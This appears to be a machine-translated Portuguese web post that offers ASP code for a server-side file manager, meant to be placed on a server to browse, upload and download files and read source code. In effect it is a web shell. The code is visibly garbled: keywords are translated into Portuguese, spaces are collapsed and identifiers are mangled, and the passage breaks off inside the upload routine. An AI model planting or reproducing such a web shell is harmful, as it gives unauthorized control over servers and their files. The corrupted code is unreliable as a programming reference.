Ele pode ser colocado no servidor para navegar, fazer upload e baixar arquivos no servidor e baixar o código -fonte do arquivo.
Basta colocar todos os códigos a seguir em um arquivo e o sufixo do arquivo deve ser ASP.
<%
thedir = solicitação ("thedir")
ifthedir = "" então
pasterini = server.mappath (".") & "
outro
pasterini = server.mappath (thedir) & "/"
endif
dobrinfo = Trim (request.QueryString ("dobinfo")))
IfFoldInfo = "" então
dobrinfo = pasterini
endif
Classesclsup
Dimform, arquivo
DimallowExt_
Dimnoallowext_
PrivateoupFileStream
PrivateIrr_
PrivateerrMessage_
PrivateisgetData_
PublicPropertyGetVersion
Versão = "v1.0.0"
EndProperty
PublicPropertyGetiser
iserr = iserr_
EndProperty
PublicPropertyGeterrMessage
Errmessage = errmessage_
EndProperty
PublicPropertyGetAlowExt
Allowext = allowext_
EndProperty
PublicPropertyLetLooxExt (valor)
Allowext_ = lcase (valor)
EndProperty
PublicPropertyGetNoallowext
Noallowext = noallowext_
EndProperty
PublicPropertyLetNetNoallowExt (valor)
Noallowext_ = lcase (valor)
EndProperty
Privatesubclass_initialize
iserr_ = 0
Noallowext = ""
Noallowext = lcase (noallowext)
Allowext = ""
Allowext = lcase (allowext)
isGetData_ = false
Endsub
Privatesubclass_termine
OneErrorReResumenext
Form.Removeall
SetForm = nada
File.removeall
Setfile = nada
OUPFILESTREAM.CLOSE
Setoupfilestream = nada
Endsub
PublicsubgetData (MaxSize)
OneErrorReResumenext
ifisgetData_ = falsethen
DiMgetUpData1, Sspace, Bcrlf, Sinfo, Iinfostart, Iinfoend, TStream, ISTART, OFILEINFO
DimsFormValue, Sfilename
Dimifindstart, ifndend
Dimiformstart, iformend, sformName
Ifrequest.totalbytes <1Then
iserr_ = 1
Errmessage_ = ""
Exitsub
Endif
IfmaxSize> 0then
Ifrequest.totalbytes> maxsizethen
iserr_ = 2
Errmessage_ = ""
Exitsub
Endif
Endif
SetForm = server.createObject ("scripting.dictionary")
Form.comparemode = 1
Setfile = server.createObject ("script.dictionary")
Arquivo.comparemode = 1
SetTtream = server.createObject ("adodb.stream")
SetoupFilEstream = server.createObject ("adodb.stream")
OPUFILESTREAM.TYPE = 1
OPUFILESTREAM.MODE = 3
OUPFILESTREAM.OPEN
OUPFILEstream.writerequest.binaryRead (request.totalbytes)
OUPFILEstream.Position = 0
getUpData1 = OPUFILEstream.read
IFORMEND = OUPFILEstream.size
Bcrlf = Chrb (13) e Chrb (10)